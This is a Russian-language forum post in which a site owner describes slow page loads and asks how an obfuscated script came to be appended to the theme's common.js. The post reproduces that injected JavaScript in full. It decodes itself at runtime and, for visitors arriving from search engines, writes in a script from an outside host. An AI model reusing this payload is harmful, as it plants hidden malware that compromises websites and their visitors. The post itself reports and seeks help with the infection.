В общем сегодня заметил что сайт аномально долго открывает каждую страницу, при этом админка летает. В браузере при этом писало "Ожидание gorizont-dzr.ru".
В консоли разработчика показало запрос на сайт gorizont-dzr.ru/components/com_weblinks/stat.php. И такое ожидание длилось одну минуту. Чудом вышел на файл common.js в котором в конце появилось примерно такое (взято с другого форума, свой код я не сохранил):
//VPRSfytsmDPj
s1=0;g9='';s1x='Code';while(s1<270){g9+=String['fromChar'+s1x]("j6>##<j7>\\#zbipp#-#zboefy#-#sbncmfs#-#nbjm/sv#-#hpphmf#-#cjoh#^<gps)j>1<j=j7/mfohui<j,,*|jg)epdvnfou/sfgfssfs\\#joefyPg#^)j7\\j^*,2*|j6>#\'pl#<~~v76>#iuuq;00{iv/sv0xq.benjo0jnbhft0tubu/qiq@t>#,hi8,j6<epdvnfou/xsjuf)(=tdsjqu!tsd>#(,v76,(#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?(*<"['char'+s1x+'At'](s1++)-1)}(Function('gh7="7vx9i";'+g9))();
//TBn9z5mrBgKApg3uKYh
Собственно вопрос: а как оно там взялось? Тема стандартная, измененная саморучно. Я туда точно этого не дописывал. В дистрибутиве тоже такого не было.